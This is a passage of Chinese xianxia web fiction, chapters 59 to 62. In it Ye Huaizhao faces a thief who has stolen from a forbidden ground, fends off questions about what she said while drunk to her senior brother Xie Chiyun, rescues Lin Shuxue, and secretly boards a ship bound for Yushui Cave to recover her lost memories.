天空的大部分依旧被黑沉的夜幕笼罩,但在遥远的天际边缘,暖调的光晕自深至浅依次晕染,裂出一线血色的光。 此时大约是卯时刚过。 她眯着眼眸仔细打量了片刻,发现远处似乎真的有一簇血色的光自下而上,连接天空亮起。 清晨冷冽的风刮在脸上,叶怀昭昏涨的大脑忽地清醒过来。 没有时间沐浴,她便直接用了净尘术将自己满身的酒气驱散,换了身衣服后飞快地走下楼。 她迎面撞上了正要上楼的桑春。 “你怎么在这里?”桑春诧异看着发鬓凌乱的叶怀昭,“你不是和那个卜修去外面玩了吗?” 叶怀昭也一愣:“不是你送我回来的?” 桑春:“不是我。我刚从我师尊那里回来。” 两人面面相觑。 “算了,这件事一会儿再说。”叶怀昭揉了揉自己的太阳穴,暂且按下这个问题,问她,“无相宫怎么了?我好像看到有个地方着火了?” 桑春:“那是无相宫禁地,似乎是有人触发了阵法。” 叶怀昭心中一跳,忽地想起来自己之前和谢迟云的对话。 ……不是吧,山槐的野心这么大? 抱着不太妙的念头,叶怀昭直接御风去了被触发阵法亮起血色光芒的禁地。 当她赶到时,发现禁地已经被无相宫的仙师层层围住了。 火光将夜幕挑亮,禁地外悬挂的巨大青铜古钟无风自动,悠远浑厚的钟声将警戒封锁的信息传至整个无相宫。 她挤在闻讯而来被挡在外面的修士当中,听到有人啧啧称奇。 “无相宫最近是怎么回事?先是禁药泛滥,再是弟子失踪,怎么现在连禁地都被人闯了?” “仙尊们可还都没离开呢,闯禁地的人胆子就这么大?” “据说是个服用禁药的内门弟子。” 说话间,禁地中的阵法忽地亮起刺目的光芒,庞大的灵力波动在刹那间升起,修为低的弟子措不及防下差点被这灵力压得跪在地上。 叶怀昭稳住了身体,刚要抬头,就听前方发出一声巨大的爆炸,随后是几道嘈杂的声音传来: “拦住他!” 一个双目赤红、一身黑衣的修士踩着禁地外围修士的肩膀奔逃而出。 无数道术法接二连三地向那人攻去,可对方却像是早有预料般灵活地躲避,甚至还有余地引着术法让其落在人群中,让局面更加混乱。 叶怀昭微微眯了眯眼眸,在倏忽晃过的火光中看到了黑衣修士的手中握着几本边缘泛黄的古籍。 ——他想要将无相宫禁地中的秘宝窃走。 她不再犹豫,听白剑霎时间出鞘,数道凌厉的剑影以一个刁钻的角度向逃跑的黑衣修士攻去。 那人本欲躲开,在看到夜幕中的少女时又像是忽然改变了主意,硬受了剑影后竟然反向叶怀昭袭来。 他的速度极快,身后燃烧的符箓阵法几乎追不上他的身影,在眨眼间那人就已经逼近到叶怀昭的面前。 她看到了一双在月光下格外熟悉的猩红色眼眸。 叶怀昭心中的某个念头微微一动,还未来得及细想,黑衣修士的攻势就已经近在咫尺。 她下意识地抬手迎击,但两道灵力却比她更快的自身后飞斩而来。 “嘭——” “噗嗤——” 黑衣修士的术法撞在一道闪烁着幽幽银色寒光的屏障上,屏障破碎,扬起的气流将周围的人全部掀翻。 与此同时,成千上万道纤薄的剑影掠过叶怀昭的眼前,像是巍峨的山峦,轰然相撞时黑衣修士的身体瞬间被碾成血沫。 她微微睁大了眼睛,看到他手中的古籍竟然在一瞬间消失了。 “师妹,你有没有受伤?” 谢迟云的声音自身后传来,他的眼中还带着没来得及收回的浸透寒霜的杀意,却已经下意识地将她护在了身后。 叶怀昭摇头,越过谢迟云的肩头向他身后看去。 如果她没有感知错误,方才是有两道灵力冲着她来的。 一道是谢迟云的灵力,优先护住了她。 而另一道却是越过了她的身前,不带一丝犹豫的直接将黑衣修士斩杀。 那熟悉的剑式…… 她听到无相宫宫主的声音自禁地的方向传来:“庄仙首!” 白发仙首依旧穿着宴席前的那间金纹素袍,只是原本只是佩在腰间的宝剑出鞘,刚刚划出惊天一式的剑刃在嗡嗡轰鸣。 他收剑入鞘,抬起冷淡的眼眸。 磅礴的威压还未散去,几乎所有留在此地的修士都感知到一股强大的气势压在自己的肩头。 ——这不仅是千山剑法的威压,也是仙首动用灵力时,坤脉奔腾流泻而出的气势。 虽是身患重病,性命岌 岌可危。 可只要他还活在这世上一天,坤脉便会源源不断地以灵力回应他的术法。 修真界中,无人可与被坤脉选中的仙首抗衡。 叶怀昭的眸光闪动,为了掩饰自己的情绪,轻轻垂下眼睫,装作害怕的向谢迟云身后躲了躲,避开仙首看过来的目光。 白发仙首眯了眯眼睛。 他的眼中闪过一丝探究,可还没等出声,就被无相宫宫主插了过来。 “叶仙君,你可曾见到那窃贼手中的古籍?” 叶怀昭从谢迟云的身后探头出来。 “见到了,”她顿了一下,在无相宫宫主希冀的目光中又摇头道,“但是在庄仙首斩出千山剑法的前一刻,他手中的古籍莫名消失了。” 按照之前谢迟云的说法,他在长风门的禁地截住了试图偷窃封灵镜离开的季衡远,可他窃走的封灵镜也如同无相宫的古籍一样莫名消失了。 就是不知道青冥台失踪的秘宝是否也是这样。 叶怀昭刚在心中划过这个念头,就听沈玉山的声音自众人的身后传来。 “青冥台的秘宝也是这样丢失的。” 他从不知为何怔在原地的庄丹雪身旁走过,先是对向自己师尊行了礼后,才缓缓说:“青冥台、长风门、无相宫皆有秘宝遗失,并且窃取手法一致——这三次作案或许都是同一人指使的。” 他没有将那人的名字点出来,可在场的几人心中都明白了他的未尽之言。 “但是宋师弟平日里和魔族没有任何瓜葛啊,他怎么会行盗窃之事?”有人忍不住问。 这个问题倒是最后赶来的宁绥回答的。 “前几日搜查药贩子时,我们查到他也曾购买过禁药。”他说,“只是还没来得及抓捕,就发生了此事。” 叶怀昭莫名想起来那双熟悉的猩红色眼眸。 她忽然道:“或许做出此事也并不是那个弟子的本愿。” 所有人同时向她看来。 庄丹雪被她的声音唤醒,苍白的脸庞微微抬起,用目光死死盯着说出此话的少女。 叶怀昭道:“仅凭他的修为水平和实力,怎么能从那么多仙师的追捕中逃出来的?” 无相宫宫主的眉头拧起。 他想要让人立刻去查看黑衣修士的尸首,看看有没有控制心智的术法,却忽然回想起来那人已经被庄黎一剑劈成了粉末,一丁点痕迹也没留下。 没有办法,他只好将原本的话咽了回去,让宁绥带着禁药去找药堂堂主,检查禁药是否就是操控心智的媒介。 昨晚这些安排后,他在心中微微叹气——庄仙首雷厉风行,怎么连尸体也一点不给他们留下? 无关紧要的修士们早在庄仙首出现的那刻便被仙师们驱赶离开了此时剩下的皆是各派的重要人员。 沈玉山看着叶怀昭,冷不丁问:“方才那窃贼为何要向叶仙君冲来?” 叶怀昭本来在微微仰着头,让谢迟云用手帕帮她擦拭脸颊上溅落的鲜血,闻言莫名其妙道:“我怎么知道?” 她当时也是刚刚到来,谁知道那人怎么忽然向她攻击。 她想了想,随口说:“或许是他背后的操控之人想要我死吧。” 如果此事当真是山槐所为的话,叶怀昭觉得自己的这个解释很合理。 沈玉山像是被说服了,不再多问。 旭日东升,微冷的光越过树梢落在众人的脚下,半夜的骚乱以窃贼身死、秘宝失踪结束。 仙首和几个仙师商讨着通缉令的事情,叶怀昭大概听了一耳朵,和长风门没什么太大关系,便决定离开,回去补觉。 令她有几分诧异的是谢迟云竟然也跟了过来。 叶怀昭在树下站定,歪头问他:“师兄怎么来了?” 他还以为他要跟着戒律堂堂主一同离开呢。 谢迟云:“将师妹送回我再过去。” “只有几步路而已。” “如果山槐炼制禁药只为操控弟子替她在无相宫中窃取秘宝,那为何最近平清城失踪了那么多的修士和妖兽?”他说,“平清城中或许还有第二个人在暗中筹划着一切。” 叶怀昭无法反驳,只好接受了他的护送。 穿过朱红廊桥,叶怀昭看着浮于地表之上流淌的坤脉,忽然想起什么似的向谢迟云问道:“师兄,你知道是谁送我回来的吗?” 谢迟云干脆利落:“我。” 跟在他身后的叶怀昭猝然顿住脚步。 只这一个字,她便想起来被她抛之脑后的檀木清香。 恍惚间似乎的确有一个人将她抱起来,摇晃的视野中是模糊不清的容貌,可眉心的赤红却印在了她的记忆。 但是再细细思索,叶怀昭对自己回屋后的记忆依旧一头雾水。 她微微睁大了眼睛,莫名有点心虚的问:“我昨晚,应该没说什么古怪的话、做什么古怪的事情吧?” 她的酒品应该挺好的吧?据桑春说只要给她找个舒服的地方她能倒头就睡。 ……她应该不至于抱着自己师兄不放,然后做出什么难以挽救的事情吧? 叶怀昭心中慌乱,又强装镇定地观察谢迟云的神色。 谢迟云只垂首看了她一眼就看穿了她心中在想什么。 看着少女故作风轻云淡的神色,他的心中一动,忽地起了逗弄的心思。 他弯了弯眼眸,说:“师妹觉得什么样的话、什么样的事情算是古怪?” 叶怀昭摸不准他的心思,只好说:“就是一听就知道我只是在胡说八道、说梦话。” 谢迟云“嗯”了一声,冷不丁道:“师妹的确说过一句话,让我有些拿捏不准是否应该归于此类。” 叶怀昭强装镇定:“什么话?” 谢迟云清透的眼眸望着她,轻描淡写道: “你说,‘无论师兄是人还是魔,我都会喜欢他’。” 第60章 第六十章如果有一天他不在了。…… 叶怀昭:“……” 叶怀昭:“这、这当然是在说胡话!” 她表面装得镇定,实际在心中气得抓狂尖叫。 偏偏谢迟云像是真的想要认真弄懂这个问题,目光专注地看着她,接着追问:“为什么师妹觉得这是在说胡话?” 叶怀昭开始后悔自己为什么要开启这个话题。 可她又不能不回答,只好硬着头皮说:“我只是不讨厌你,谁说我喜欢你了?我对师兄没有任何超出师门情谊的感情。” 说这话时,叶怀昭努力控制了自己的心情,尽可能的在心中保持平静。 谢迟云看着她,好像根本没在意她的否定,只问:“除此之外呢?” 叶怀昭:“还有什么之外?” 这句话的重点难道不是说她喜欢他吗?他以为是什么? 在叶怀昭莫名的目光中,站在她身前的男人牵了牵唇角,像是心情很好的说:“没什么。” 他轻飘飘的换了个话题问道:“师妹等回门派后要做什么?” 叶怀昭心中紧绷的弦微微一松。 虽然不知道谢迟云怎么这么轻易就放过了这件事,但叶怀昭巴不得他赶紧转移话题,不假思索便回答了他的话。 两人便走便聊,叶怀昭的警惕心一直保持着高度紧张,生怕对方冷不丁地再说起什么喜不喜欢的事。 虽然她的确有点喜欢师兄,但再怎么说,也得等她发现谢迟云喜欢她,比她喜欢谢迟云的程度更深时再勉强告诉他自己的心意。 要不然她岂不是很没有面子。 叶怀昭在心中嘀咕着。 等到终于进了长风门的楼阁,目送谢迟云离开,她才终于长长地呼出一口气。 她发自肺腑心想,以后再也不喝——再也不在师兄面前喝酒了! 叶怀昭之前因为魁首的事情被迫在无相宫无所事事的待了好几日。 等到宴席散去,先前的魁首之事被无相宫秘宝丢失的事情盖过了风头,她才终于找到了出门的机会。 睡饱觉的叶怀昭精神奕奕,转头就提着自己的剑在平清城附近找练手的地方。 她的第一选择是 祸害村庄的妖兽,但近日平清城的妖兽不是失踪就是躲了起来,她在附近转了一圈都没有找到。 叶怀昭甚至还踩着点去一些妖兽的巢穴引诱了一番,结果只抓到了几只饿得失去理智的小妖,连她的一剑都撑不住,没有任何挑战性。 那些稍微有些修为的妖兽一个比一个胆小,任凭叶怀昭怎么伪装引诱,就是打定主意装死。 没有办法,她只好开始找附近的秘境。 平清城有坤脉流经,附近的小秘境有很多,只是开启的时间各不相同。 好在叶怀昭的灵盘中存下了这些秘境开启时间和法则的信息,很快便挑出了自己需要的秘境。 于是尚且留在平清城没走的修士们发现,刚刚成为本届问道大会魁首的叶怀昭开始在各个秘境中大扫荡。 她的扫荡倒不是指秘境中的珍宝,事实上她拿不拿珍宝完全看她当时的心情,若是碰到合眼缘的人,甚至还会随手把自己拿到的珍宝低价卖给那人。 叶怀昭的扫荡,是指将秘境中存在的道行深的妖兽鬼怪砍瓜切菜般全屠了。 几乎是众人刚刚踏进秘境,转头就看到叶怀昭精神奕奕地站在妖王的尸体旁挑拣战利品。 一个刚刚被传送出来的修士抓狂崩溃道:“叶仙君、叶大小姐,能不能给我们留点活路?我连妖王长什么样都没见着啊!” 这就是手脚慢的结果。 有些秘境的法则是一旦有人挑战成功,就会将秘境中的所有人都传送出来,其余的人想要挑战只能重新进入。 叶怀昭甩了甩自己剑刃上的血水,很给面子说:“好吧,我不闯这个秘境了,你们自便。” 她轻飘飘地走了,留下一众羡慕嫉妒的目光。 下一个秘境要去哪个呢? 叶怀昭将灵盘打开,正准备随便挑选一个幸运儿时,目光忽地扫到一个修士的求救讯息。 那人说自己接了无相宫的任务,去山里寻找失踪的小孩,结果进了山才发现这里是一群妖兽的巢穴,有很多幼童都被捉来充当干粮,他打不过,只好在另一个修士的帮助下逃出来求助。 若是在问道大会进行的时候,这类求救很快便会有闲的没事干的修士回应。 但如今问道大会已经结束,聚集在平清城的修士散去了大半,故而过去了将近一刻钟,那修士也没找到合适的人来帮忙。 叶怀昭扫了一眼,向对方敲字,问清地点后直接御风过去。 片刻后。 叶怀昭抬头观察着在自己身后合拢的山谷裂缝,心想难怪那修士招架不住。 这地方貌似是猫蛇的巢穴。 她跃跃欲试地活动手脚,顺着感知中灵力波动最强烈的方向御风。 远远的,叶怀昭便听到了一声直击心神的尖锐嘶叫声。 她眯起眼眸,看到远处的树林中似乎有三四只蛇头猫身的妖兽正在围攻一个女子。 等凑近来一看,叶怀昭诧异地微微睁大眼眸。 “林前辈?” 与那几只猫蛇缠斗的女子正是林漱雪。 林漱雪一手护着幼童,另只手持剑和猫蛇交手,身上的衣衫几乎要被鲜血浸透,瞧上去狼狈不堪。 叶怀昭发觉自己好像每次和对方见面,林漱雪都是伤痕累累地在和妖兽打架。 该说是她去的时机凑巧,还是说林漱雪的日常就是每时每刻都在解决袭击的妖兽呢? 若是后者,这似乎和修真界对这位凌霄仙君“贪求无厌、德行有亏”的评价很是不符。 胡思乱想间,叶怀昭已经持剑攻了上去。 她有意将那几只猫蛇的注意力吸引过来,一出手便是数道剑影的剑阵,无差别地重伤了每一只猫蛇,成功拉满了仇恨。 在妖兽围攻时她也没落于下势,少女的身形灵活如燕,轻盈地穿梭在妖兽攻击中,每一次出手都能精准击中命脉。 林漱雪终于有了喘气的功夫。 她将怀中的幼童换了只手抱着,扫了一眼不远处的少女。 只这一眼,她便轻轻挑了挑眉。 几日不见,这姑娘竟然突破了天罡境? 林漱雪其实对叶怀昭不怎么熟悉。 虽是自己前师尊的亲女儿,但叶怀昭出生的时候她早就离开了长风门,而在问道大会结束前,修真界对叶怀昭的传闻也只说这是个有点天赋的大小姐。 林漱雪对叶怀昭的认知,仅限于她知道这或许是谢迟云喜欢的师妹。 但现在看来,谢迟云这师妹的修道天赋倒是不在他之下。 林漱雪刚刚得出这个结论,就看见一只隐匿身形的猫蛇忽地从旁边的草丛中跃出,尖利的爪子直冲叶怀昭的后心。 还没等她出声提醒,就见不远处的少女像是背后长了眼睛一般,精准地转身抬剑格挡,术法狠厉地斩落猫蛇的头颅。 林漱雪默默将话语咽了回去。 她改变了自己的想法。 在灵识方面,她甚至比她师兄更高一筹。 待最后一只猫蛇的头颅也被斩落,叶怀昭终于轻盈地落地。 她的灵力虽然在这整整一天几乎不停歇的打架中消耗得几近见底,但叶怀昭本人却觉得浑身舒畅,心满意足地收剑入鞘。 她转过身,看见目光灼灼盯着她的林漱雪。 “没想到竟然是前辈在这里。”叶怀昭脚步轻快地走过去,看了一眼在这番动静下依旧昏沉的幼童。 像是中了魇术。 少小科不是叶怀昭最擅长的,但叶怀昭擅长祝由术。 她手指微动,用灵力驱散了缠住幼童的魇魔,还顺手将林漱雪的皮外伤治了个七七八八。 林漱雪道了声谢,说道:“只是让人搬救兵,倒是没想到将长风门的大小姐叫来了。” 她问:“你怎么还没回长风门?” 叶怀昭回答道:“无相宫的秘宝失窃,师兄还在和他们商量事情,估计还要过几日才能走吧。” 林漱雪忽然像是想起来什么似的,冷不丁问她:“所以你和你师兄怎么样了?” 叶怀昭目光飘忽:“就,就还是那样。” 她能说什么?本来准备好好和师兄培养感情,结果感情没培养出来就算了,还和他吵了一架,最后甚至还越过培养感情的阶段直接和他亲嘴了。 感情没发展,倒是越来越往另一个方向飞速发展。 想到这里,叶怀昭忽然有点忧心忡忡。 该不会真被桑春乌鸦嘴说准了,最后要哄骗着师兄才能让他和她神交解蛊吧? 如果真的迫不得已用了这招,师兄要是知道了真相,会不会气急之下直接把她大卸八块了? 叶怀昭后知后觉的意识到,或许她应该给自己准备一个后招。 一个万一失败,能够让她立刻跑路的后招。 林漱雪不知道她和谢迟云中蛊的事情。 但她对叶怀昭口中所说的没有进展持怀疑态度。 但毕竟是人家的私事,既然叶怀昭不想说,林漱雪也就没有多问。 她和叶怀昭闲聊几句后便准备离开,临走前随口提醒道:“你以后若是出远门,最好和找人结伴同行,这段时日修真界不太安全。” 谢迟云之前就提醒过叶怀昭这件事,而现在林漱雪又提醒了一遍相同的事。 叶怀昭本能地从中觉出几分联系。 她试探着问:“前辈是说修士失踪之事吗?” “你师兄没和你说吗?”林漱雪挑眉,“你不知道除了平清城无相宫外,其实近几年整个修真界失踪的修士都异常多吗?” 叶怀昭微微一怔。 她确实不知道。 林漱雪观察着她的神色,忽地眯了眯眼睛。 她语气古怪说:“你师兄之前其实请求过我一件事,只是因为我的事情还没完成,所以我拒绝了他。” 叶怀昭下意识问:“什么请求?” “他问我,”林漱雪看着叶怀昭的眼眸,“如果有一天他不在了,能否请我回去代替他,帮你主持大局。”【魔蝎小说 mo xie xs .c om】 60-70 第61章 第六十一章叶仙君走了。 叶怀昭几乎以为自己听错了。 她停顿了好一会儿,才后知后觉地反应过来林漱雪在说什么。 明明已经在春末夏初,但站在日光没有照到的树荫时,依旧有丝丝缕缕的冷意钻入骨缝。 她缓慢地眨了下眼睛,下意识喃喃:“什么叫‘如果有一天他不在了’?” 林漱雪同她对视。 在对方黑沉的眼眸中,叶怀昭看到了自己恍惚的神色。 她骤然反应过来。 不,或许事情并不是她所想的那样呢? 谢迟云本就是一个走一步看三步的人,他一向谨慎,预设自己出事后会发生什么、提前做好准备对他而言并不奇怪——就连她爹叶珩都会考虑万一哪天他死了怎么安排后事呢。 而且他怎么可能轻易死掉? 他可是堂堂长风门剑修首席、大名鼎鼎的乘玉仙君,年仅二十二岁便被人视为“小剑圣”的谢迟云! 但是,如果他口中所说的“不在了”并不是指死亡,而是说有一天他会离开长风门呢? 如果他离开长风门,又要去哪里? 她还没当上长风门掌门、他还没给她做牛做马当几百年的差,凭什么就撒手不干、离开长风门? 在她说这些话时他明明从来没有反驳过,他难道要违反和她的约定吗? 谁准许他这样做的! 叶怀昭尽力控制自己的思绪不向另一个方向滑坡,面上只有一瞬间的不自然。 但在身经百战的林漱雪眼中,她的伪装实在有些幼稚拙劣。 她沉默片刻,决定假装没看到这小姑娘方才的失态,给她留点面子。 她想了想,安慰叶怀昭道:“你师兄说这话时是一年前,说不定现在他已经改变主意,不认为有一天需要我帮忙了呢。” 叶怀昭果然被她转移了注意力,思索了一遍这个时间点。 对她而言,一年前是她过得最无聊的一年。因为重伤只能被拘在长风门,偶尔才能下山逛一圈,还得时时刻刻被人催促着回去。 可对谢迟云而言…… 叶怀昭忽然意识到,那一年似乎是谢迟云最神秘的一年。 所有人都知道他一直在山下处理妖魔之事,却没有人知道他在此之外的时间还做了什么。 叶珩似乎知道一些,却不愿对她提起;师尊也知道一些,可他也不想让她知道。 他们瞒着她,或许并不是不信任,也不是对谢迟云的偏爱。 叶怀昭想,似乎更倾向于这是牵扯到谢迟云极重要秘密的“私事”。 这件事情不能由他们提起,只能由谢迟云自己决定是否表露。 这件事是什么,叶怀昭其实有了一点猜测,只是没有证据。 此时她更关注的是另外一点。 她知道,一定是之前某件事情的发生,才让师兄产生了下山“历练”的念头。 她想到了自己两年前的冬日,不慎被抓去无忘川的事情。 会是因为此事吗? 当初在无忘川,到底发生了什么? 她若有所思地抿了抿唇。 叶怀昭想了想,不着急离开了,而是对好整以暇看着她的林漱雪问道:“前辈,你有去过玉水洞吗?” 林漱雪原本有些散漫的神色一点一点收住了。 她眯了眯眼睛,眸光有些锐利和意味不明:“你想说什么?” 叶怀昭问:“前辈,你知道怎样才能找到玉水洞的尽头吗?” 看来之前和师兄说回长风门的计划要稍微向后推迟几天了。 叶怀昭心想,在这之前,我要先去玉水洞,找回我遗忘的记忆- 谢迟云发现叶怀昭最近陷入了莫名的忙碌。 她开始早出晚归,经常一整天都见不到人,即便是路上碰到了也只是打个招呼便匆匆忙忙地离开。 师妹有自己的私事需要处理,这是很正常的事情。 但师妹刚刚破镜,修为正是不稳定的时候,而且最近修真界不太安全。 谢迟云不放心地让人去调查了一番。 “叶仙君最近在闯秘境。”竹林中,一身玄色衣袍的半魔垂首道,“她应当是为了试验自己破镜后的修为水平,将平清城附近开放的秘境都闯了一遍——没有抢夺秘宝,只是斩杀秘境内的妖兽鬼魂。” 说完这话,半魔停顿了片刻后才道:“此外,叶仙君近日和林漱雪接触很频繁。” 谢迟云淡淡的应了一声,眼中没有什么惊讶。 他其实知道叶怀昭在和林漱雪接触。 他从未隐瞒过自己和林漱雪一年前的接触,如果师妹对他感兴趣,那一定会顺着这条线索查下去,和林漱雪结识就是必然的。 更何况,林漱雪是师妹一定会喜欢的那类人。 想到这里,谢迟云不自觉地抬眼看了一眼远处无相宫高耸入云的楼阁。 他冷不丁问道:“宁绥这几日在做什么?” 半魔不假思索便道:“一直在陪无妄仙尊。只是在六日前触怒了无相宫宫主,被宫主关进了戒律堂,受了一日的刑,又被无妄仙尊亲自救了出来,最近在养伤。” 谢迟云客观道:“自作自受。” 半魔没有吭声,实际也在心中认同了他的评价。 故意让无相宫宫主撞见他对师尊似有似无的亲密,故意被罚进戒律堂受刑,试图以此来确定师尊对他的在意。 唯一的问题是无妄仙尊似乎觉察到了什么,虽然把他救出来了,但近日一直没去看望自己的徒弟。 这种结果,谁看了不说一句活该。 宁绥的名字是在前段时间才出现在谢迟云的情报网中的。 半魔收集了全部情报让谢迟云过目后,对方沉默地看了许久,然后让她把这份情报烧掉。 虽然当时他一字未发,甚至连表情都没有什么变化。 但凭借着女子的直觉加上谢迟云之后转头就去找了自己师妹这件事来看,半魔觉得他当时的心情应该不错。 像是发现自己原本警惕的对象竟然毫无威胁的轻松。 以及发现师妹竟然想要利用别人来试探自己心意的…… 没有表露的愉悦。 半魔在心中吐槽,但面上还是恭恭敬敬的,听到谢迟云换了个话题,说:“之前埋在那几个魔界少主身边的眼线都撤回来吧。” 这就是要说正事了。 半魔应了声“是”,然后试探着问:“山槐和青崖身边的眼线也要撤回来吗?” 谢迟云:“撤走山槐,保留青崖。” 他声音平静,像是在阐述一个事实:“山槐活不了多久了。” 半魔知道,谢迟云的这一句话若是放在魔界会引来多少嘲弄和不屑。 世人皆知,在五殿下山梧死去后,最有可能继任魔君之位的少主便是六殿下山槐。 她在魔界如日中天,不少魔将都已经暗中押宝到她的身上,这般的名声势力,才让她得以无视修真界的警告,一次又一次的做出越界之事。 可半魔知道,既然谢迟云这样说了,那山槐最终就一定不会成为魔君。 她一定会如他所说的那样,在不久后众人的万般瞩目下、戛然而止结束自己的生命。 ——就像她的哥哥山梧那样。 她没再多言,而是一条一条将修真界和魔界近日的动向汇报出来。 “仙首闭门不出,但除了医修拜访外,也有阵修和符修暗中拜访。此次来无相宫,他便与一个符修密谈了许久。他们设了结界,没有听到谈论的内容。” “赵清洵在我们的帮助下已经拜入了一个仙门,有望成为内门弟子。她说之前给您的符咒无法做到长期压制魔气,按照您之前的用法,或许在这个月就会有反噬爆发,让您小心应对。” “妖族没有给出明确合作的讯号,但是他们已经按照您说的那样,准备将一部分人手派到您说的那几个地点。” “魔君没有反应。” …… 谢迟云听着,直到最后才道:“按照之前的计划进行。” “是。” 半魔垂首离开。 她踩着湿润的石子路,越过落在周围的阵法,走出隐蔽在不起眼角落的竹林。 她与一个同样身穿玄色的魔族擦肩而过,彼此都没有向对方看上多余的一眼。 竹林池边的风忽地变大,将半魔遮挡容貌的兜帽吹下,露出一张眸色暗红的清秀面庞。 她一边走一边打了个响指,简便隐蔽的玄色衣袍被鹅黄色衣裙替代。 少女走出竹林湖泊,抬起眼,向等在外面的少年招手。 “哥哥,我在这里!” 周鹤亭抄近路走过来,絮絮叨叨说:“你刚刚去哪了?不是跟你说最近平清城不安全,不要老是乱跑,万一你也像是那些失踪的修士一样被拐了,我可怎么办?” 周令仪习以为常安抚他:“我刚刚看到一个朋友,就和他多聊了几句……我这不是又回来了嘛。” 周鹤亭自知拗不过她,但还是狐疑问:“你怎么 到处都有朋友?我记得你上次和我去南境都能走两步碰到三个朋友,这都是从哪结交的?” 周令仪面不改色:“灵盘。” 用灵盘交流,怎么不能算是在灵盘上结交的朋友呢? 周鹤亭:“都说了不要总是相信陌生人的话啊,万一他们是骗你怎么办!” 今日的周鹤亭也在为自己捡来的妹妹操心。 而他眼中柔弱不堪的妹妹在看不到的地方无奈地撇了下嘴,单手拉着周鹤亭,将对方强行带离竹林。 而在竹林之中,与她擦身而过的魔族站在了周令仪离开的位置上。 谢迟云看到他时的表情却有些冷。 因为这是他派到叶怀昭身边,专门保护她的魔族。 “发生何事了?”他冷声问道,“有人袭击她了?” 魔族犹犹豫豫地看着他。 “不是。” 他嗫嚅着:“是……叶仙君走了。” 这个回答确实超乎谢迟云的预料。 他拧眉:“她去哪里了?回长风门的仙舟可是明日才启程。” 魔族的脑袋埋得更深,几乎是贴着胸膛,一点也不敢看他的眼睛。 他闭着眼,视死如归说:“叶仙君瞒着所有人,强拉着桑春、宁绥还有林漱雪……上了青冥台的仙舟。” “叶仙君,似乎要去玉水洞。” 谢迟云:“……” 第62章 第六十二章他是所有亲密关系的模糊点…… 庄丹雪觉得叶怀昭欺人太甚。 问道大会结束了,她不回长风门,跟她回青冥台干什么? 在无相宫嘲笑她还不够,还要当着青冥台一众仙师同门的面嘲笑她输给她吗? 她心中的怒火蹭蹭拔高,想都不想便一剑斩向对面的少女,扬声怒斥道:“你不要得意忘形!即便问道大会输了又怎样?难道你就认为你能一直赢下去吗?” “我可没这么说,你不要自说自话好不好,”叶怀昭无奈叹气,运起术法拦住她的剑意,“我说了,我只是想蹭一下你们回东境的仙舟,并不是要去青冥台。” 庄丹雪冷笑,讥讽说:“怎么?长风门已经穷困到连一座仙舟都拿不出来,还要蹭别人的仙舟?” 她说着,手中的剑法越发凌厉,逼得原本只是被动防御的叶怀昭都起了几分火气,抬手引了灵力与她对决。 磅礴的灵力在仙舟上对撞,扬起的气流将整座在空中前行的仙舟都摇晃了一瞬。 在舱室给自己上药的宁绥手一抖,药匙狠狠戳中他还没长好的伤口上,顿时让他疼得眼冒金星,面色苍白。 宁绥披上外衣推开窗户,忍无可忍向庄丹雪道:“她就是被她师兄惹生气了和他耍性子,不想和他坐一条仙舟,你能不能别总是疑神疑鬼。” 趁着庄丹雪愣神的间隙,他又转头对叶怀昭怒道:“你再故意挑唆别人和你打架,信不信我现在就告诉谢迟云这仙舟的位置?” 打架的两人都停了下来。 庄丹雪:“为什么无妄师尊要把你赶出无相宫?” 叶怀昭转头就道:“你要是敢给他通风报信,我就告诉无妄仙尊你是故意惹赵宫主生气的!” 宁绥脸色铁青,“嘭”的一声将窗户关上。 第一次围观这三个人吵架的林漱雪叹为观止,心中闪过一丝淡淡的怀念。 她身边的桑春习以为常,甚至还能评价道:“今天这次吵架结束的比较快,看来他们三个的心情都不怎么好。” 一个在和自己师兄单方面冷战,灵盘信息一个也不回。 一个被自己师尊伤透了心,每天发一条灵盘信息卑微认错。 一个被整个问道大会打击到了,除了和另两人吵架外就连自己师兄都不想多说话。 桑春微妙的庆幸,自己没有参加问道大会魁首的竞争。 她在心中嘀咕着,视线微转,看向揣手而立的林漱雪:“林前辈为什么要去东境的呢?” 她知道叶怀昭去玉水洞是为了找回记忆,而宁绥是因为叶怀昭听说玉水洞是符修的主场所以强行绑上了仙舟。 那林漱雪为什么要去东境? 林漱雪低头瞧了她几眼。 说起来这小姑娘也没比谢迟云那小师妹好对付多少。 生了一副冷美人的样貌,脾气性格却是见人说人话,见鬼说鬼话,只是上了仙舟的短短半日,就若有若无地试探了她不少事情。 碰上那种没有警惕心的修士,估计见面没多久身世能力就能被套个七七八八。 也不知道叶小师妹身边怎么总是吸引这种心思城府极深的人。 这难道是所谓的物极必反? 她在心中想着,随口道:“当然是查我想查的事情。” 桑春不动声色:“林前辈觉得东境有您想查的事情?” 林漱雪微微一笑:“当然。” 桑春若有所思地不说话了。 等到叶怀昭气呼呼地在她身边坐下,桑春随手给她倒了杯水让她消消气,讲八卦一样说:“我觉得林前辈之前凶兽袭击的事情有隐情。” 叶怀昭仰头咕噜咕噜喝水,只用目光瞥她一眼,示意她接着说。 桑春:“都说她是为了破境所以才放弃了那一百多条人命,但据我所知,在这之前从未传出过凌霄仙君有破境的迹象。” 叶怀昭将杯子放下,想了想道:“你的意思是,有人故意让她在妖兽袭击的时候提前破境?” 那岂不是说她是被人陷害了? 如果是这样,怎么她的师尊叶珩当年没有帮她解释? 虽然叶珩收林漱雪为徒时叶怀昭还没出生,但依照叶怀昭对自己亲爹的了解,他不像是那种因为他人的偏见就舍弃自己徒弟的人。 甚至他比大部分人都护短。 桑春:“或许这个人的线索就在东境。” 叶怀昭的脑袋搁在胳膊上。 她其实没怎么思考林漱雪为什么来东境,左右与她想做的事情没什么关系,她也就懒得问。 不过若是林漱雪需要她帮助,叶怀昭也不会拒绝就是了。 青冥台的仙舟比长风门的仙舟速度还要更快一点。 叶怀昭起初还在担心会不会被谢迟云追上,甚至还做了个梦,梦到自己师兄似笑非笑地站在她的床头,问她“师妹玩得开心吗”,直接将她吓得差点从床上滚下来。 最后虽然没滚下去,但叶怀昭的睡意也没了。 她揉了揉眼睛,裹着被子趴在床上,看着自己和师兄的灵盘界面发呆。 她一开始没有打算不告而别的。 她甚至一开始还想让谢迟云陪她去玉水洞找回记忆。 但是她后来想了想,谢迟云一定不会答应让她去玉水洞。 叶怀昭会因为师兄对她的重视而欢喜,可有时候也会对她过度的保护而产生苦恼。 他是师兄,是一个介于长辈和同龄人之间的身份。 叶怀昭将身边的人分得很清——叶珩是亲人,时闻筝是长辈,桑春是朋友。 可谢迟云呢? 